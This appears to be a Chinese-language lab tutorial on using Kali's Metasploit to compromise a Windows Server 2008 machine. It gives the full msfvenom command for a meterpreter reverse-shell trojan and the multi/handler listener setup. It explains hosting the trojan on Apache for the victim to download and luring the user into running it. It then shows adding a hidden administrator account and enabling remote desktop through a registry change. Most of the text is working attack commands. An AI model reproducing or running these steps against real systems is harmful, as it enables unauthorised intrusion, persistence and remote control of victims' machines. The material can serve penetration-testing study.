一、kali及Metasploit
kali基於debin的數字取證系統,上面集成很多滲透測試工具,其前身是BT5 R3(BrackTrack),在信息搜集方面發揮很大作用。
Metasploit是一個綜合利用工具,極大提高了攻擊者的滲透效率;使用Ruby開發;使用非常方便,進入該工具的方式:在終端輸入msfconsole;MSF依賴於Postgresql數據庫,在使用MSF之前要開啟該數據庫
二、使用kali中的Metasploit生成木馬,控制Windows系統
攻擊者:kali 2019.3
靶機:Windows Server 2008 R2
1.首先要保證兩個系統之間可以互相ping通
2.生產木馬,在攻擊者終端操作
1 msfvenom -p windows/meterpreter/reverse_tcp lhost=kali的ip lport=5555 -f exe >/root/Desktop/evilshell.exe 2 -p 參數后跟上payload(載體),攻擊成功之后,要做什么事情 3 lhost 后跟監聽的IP 4 lport 后跟監聽的端口 5 -f 后跟要生成后門文件的類型
- 如果安裝的是中文的kali,就把Desktop換成桌面
3.將木馬文件evilshell.exe拷貝到/var/www/html,把html目錄下的其余文件刪除,並開啟apache服務(這一部是為了提供一個可以把木馬文件下載的平台)
1 cp evilshell.exe /var/www/html 拷貝木馬文件 2 rm -f index.html 刪除index.html 3 rm -f insex.nginx-debian.html 刪除index.html
4.在靶機上打開瀏覽器,訪問站點http://kali的ip,並下載木馬文件,我這里下載到了桌面上,方便操作
5.開啟postgresql服務,postgresql的端口號為5432,開啟MSF(msfconsole的縮寫)
1 /etc/init.d/postgresql status 查看postgresql服務的狀態 2 /etc/init.d/postgresql start 開啟postgresql服務 3 netstat -ntulp 查看端口
4 msfconsole 開啟MSF
- metasploit v5.0.41-dev 版本
- exploits 開發利用,用來攻擊某些服務、平台、系統等用到的工具
- payloads 攻擊載荷載體,攻擊成功之后要操作什么,通過payloads進行操作
6.加載exploits和payloads,查看該模塊需要設置的參數
1 msf5>use exploit/multi/handler 選擇exploits 2 msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 設置payload 3 show options 查看所需設置的參數
- 注:這里的路徑要與上面生產木馬的payload一致
7.根據上圖的需求設置lhost和lport,這里的lhost和lport要和上面生產木馬的命令中的lhost和lport一致
1 set lhost kali的IP 設置監聽地址 2 set lport 5555 設置監聽端口 3 run 或者exploit 運行攻擊模塊
8.在靶機中雙擊evilshell.exe(這一步是在靶機中誘導用戶點擊木馬程序,也叫社會工程學攻擊),這樣在攻擊者這里就可以得到靶機的shell(meterpreter)
1 shell 獲取目標主機shell 2 ifconfig 測試是否能用
- windows環境下中文亂碼的解決辦法:chcp 437
9.在靶機里加入一個隱藏用戶(隱藏用戶后面加$),提升隱藏用戶的權限,方便我們后續的操作測試
1 net user host$ /add 添加隱藏用戶host$ 2 net user 查看用戶 3 net user host$ 密碼 為host$用戶設置密碼 4 net localgroup administrators host$ /add 將host$用戶加入到管理員組中,從而提升權限 5 net user host$ 查看host$用戶信息
10.新開一個終端,使用遠程桌面連接的靶機,進行操作
rdesktop 靶機的IP 使用遠程桌面連接靶機
- 如上圖所示,連接失敗
解決方法:
方法1:打開上一個終端,開啟2003終端服務,查看遠程協助的端口是否開啟
1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 開啟終端服務 2 netstat -ano|finder 3389 查看3389端口
方法2:打開控制面版-->系統-->遠程設置,操作如圖所示
- 重新連接靶機,連接成功,進入以下界面,是用隱藏用戶登錄靶機
11.打開靶機的dos命令窗口,若無法在開始中找到dos命令窗口,則按鍵盤上的開始鍵+R,在打開的運行中輸入cmd,即開啟dos命令窗口,添加一個新用戶進行測試,添加成功證明滲透成功!
- 如圖所示,拒絕訪問
解決方法:在路徑中C:\Windows\system32查找cmd.exe,右鍵cmd.exe,選擇以管理員身份運行